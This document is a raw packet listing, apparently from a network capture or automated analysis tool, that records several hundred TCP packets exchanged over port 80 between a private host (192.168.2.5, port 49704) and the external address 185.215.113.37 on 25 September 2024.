Sep 25, 2024 21:52:05.049105883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049134970 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049139977 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049160004 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049170971 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049199104 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049207926 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049228907 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049243927 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049268007 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049276114 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049290895 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049310923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049333096 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049345016 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049371004 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049380064 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049396038 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049412012 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049437046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049444914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049467087 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049478054 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049503088 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049513102 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049536943 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049550056 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.049566984 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.049606085 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208117008 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208163023 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208216906 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208281994 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208290100 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208337069 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208337069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208374977 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208409071 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208411932 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208431005 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208446026 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208478928 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208487034 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208512068 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208530903 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208537102 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208570957 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208589077 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208605051 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208630085 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208647013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208679914 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208681107 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208713055 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208726883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208729982 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208781958 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208785057 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208838940 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208842039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208877087 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208901882 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208910942 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208930969 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208945990 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208975077 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.208978891 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.208992958 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209016085 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209038973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209048986 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209074020 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209084988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209106922 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209117889 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209136963 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209156990 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209203005 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209203005 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209211111 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209244967 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209269047 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209278107 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209300995 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209311962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209338903 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209348917 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209368944 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209384918 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209407091 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209418058 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209444046 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209453106 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209481001 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209489107 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209517002 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209523916 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209539890 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209583998 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209717989 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209752083 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209785938 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209786892 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209817886 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209839106 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209839106 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209853888 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209884882 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209887981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209918976 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209922075 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209939957 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209959030 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.209981918 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.209992886 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210026979 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210031033 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210052967 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210062027 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210084915 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210097075 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210119009 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210134983 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210155010 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210191965 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210414886 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210448027 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210490942 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210499048 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210513115 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210535049 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210557938 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210568905 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210596085 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210602999 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210621119 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210639000 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210660934 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210673094 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210695982 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210707903 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210728884 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210743904 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210767984 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210777044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210797071 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210810900 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210834980 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210844994 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210865021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210880041 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210912943 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210915089 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210936069 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210946083 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.210975885 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.210983992 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211013079 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211019993 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211038113 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211075068 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211294889 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211330891 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211354971 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211364031 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211401939 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211427927 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211483955 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211522102 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211545944 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211556911 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211577892 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211591005 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211622000 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211623907 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211644888 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211662054 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211684942 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211695910 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211724043 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211730003 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211754084 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211764097 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211787939 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211801052 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211823940 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211863995 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211898088 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211927891 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.211957932 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211975098 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.211982965 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212017059 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212044001 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212049007 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212074995 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212085009 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212114096 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212124109 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212150097 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212161064 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212184906 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212193966 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212219000 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212229013 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212249041 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212260962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212291956 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212296009 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212316036 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212328911 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212351084 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212366104 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212382078 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212400913 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212430954 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212438107 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212452888 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212496042 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212682962 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212712049 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212744951 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212744951 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212771893 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212780952 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212805986 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212815046 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212845087 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212850094 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212876081 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212883949 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212898016 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212917089 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212939978 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212949991 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.212976933 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.212985039 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213011980 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213020086 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213042974 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213054895 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213087082 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213090897 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213107109 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213125944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213150024 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213165045 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213186026 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213219881 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213282108 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213310957 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213341951 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213341951 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213362932 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213377953 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213411093 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213414907 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213442087 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213443041 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213462114 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213476896 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213500977 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213515043 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.213537931 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.213573933 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.300507069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.300657988 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.300689936 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.300693035 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.300724030 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.300766945 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.300775051 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.300775051 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.300817966 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.300817966 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.300821066 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.300857067 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.300884962 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.300890923 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.300926924 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.300930023 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.300957918 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.300961018 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.300997019 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301023006 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301033974 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301038027 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301086903 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301088095 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301088095 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301122904 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301156044 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301156044 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301189899 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301214933 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301214933 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301242113 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301246881 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301282883 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301315069 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301345110 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301345110 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301350117 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301419973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301419973 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301474094 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301506042 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301537037 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301538944 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301568985 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301573992 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301600933 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301601887 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301635981 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301639080 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301666021 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301672935 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301697969 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301704884 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301733017 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301740885 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301769972 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301774025 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301806927 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301809072 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.301840067 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.301863909 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.302248001 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.302282095 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.302311897 CEST	49704	80	192.168.2.5	185.215.113.37
Sep 25, 2024 21:52:05.302314043 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.302346945 CEST	80	49704	185.215.113.37	192.168.2.5
Sep 25, 2024 21:52:05.302347898 CEST	49704	80	192.168.2.5	185.215.113.37
